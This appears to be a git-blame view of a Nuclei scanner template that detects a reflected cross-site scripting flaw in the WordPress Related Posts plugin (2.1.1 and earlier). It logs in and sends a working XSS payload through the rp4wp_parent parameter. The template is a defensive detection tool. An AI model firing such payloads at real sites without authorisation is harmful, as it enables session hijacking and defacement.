2022-11-27 07:11:16 +00:00
|
|
|
id: wp-related-post-xss
|
|
|
|
|
|
|
|
info:
|
2022-11-29 13:39:35 +00:00
|
|
|
name: WordPress Related Posts <= 2.1.1 - Cross Site Scripting
|
2022-11-27 07:11:16 +00:00
|
|
|
author: arafatansari
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
WordPress Related Posts plugin before 2.1.1 contains an Reflected XSS via rp4wp_parent
|
|
|
|
reference:
|
|
|
|
- https://huntr.dev/bounties/7c9bd2d2-2a6f-420c-a45e-716600cf810e/
|
2022-11-29 13:39:35 +00:00
|
|
|
- https://wordpress.org/plugins/wordpress-23-related-posts-plugin/advanced/
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 2
|
2022-12-07 09:42:26 +00:00
|
|
|
tags: wp-plugin,xss,relatedposts,authenticated,huntr,wordpress,wp
|
2022-11-27 07:11:16 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-12-07 09:24:33 +00:00
|
|
|
- raw:
|
2022-11-27 07:11:16 +00:00
|
|
|
- |
|
|
|
|
POST /wp-login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
2022-12-07 09:24:33 +00:00
|
|
|
|
2022-11-29 13:39:35 +00:00
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
2022-11-27 07:11:16 +00:00
|
|
|
- |
|
2022-11-29 13:39:35 +00:00
|
|
|
GET /wp-admin/admin.php?page=rp4wp_link_related&rp4wp_parent=156x%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
|
2022-11-27 07:11:16 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-11-29 13:39:35 +00:00
|
|
|
- '<img src=x onerror=alert(document.domain)>&action=edit'
|
|
|
|
- 'All Posts</a>'
|
|
|
|
condition: and
|
2022-11-27 07:11:16 +00:00
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
2022-11-29 13:39:35 +00:00
|
|
|
- text/html
|
2022-11-27 07:11:16 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-11-27 10:10:24 +00:00
|
|
|
# digest: 4a0a0047304502204fb14b99aa39df1d7eae269e5204b09a595654da19b7b617abb62abd94f98779022100eba6ff0c663bbe48cf3af251bde8a82a2869f2e64c0cfd9cd08cd4bc8be5a098:922c64590222798bb761d5b6d8e72950
|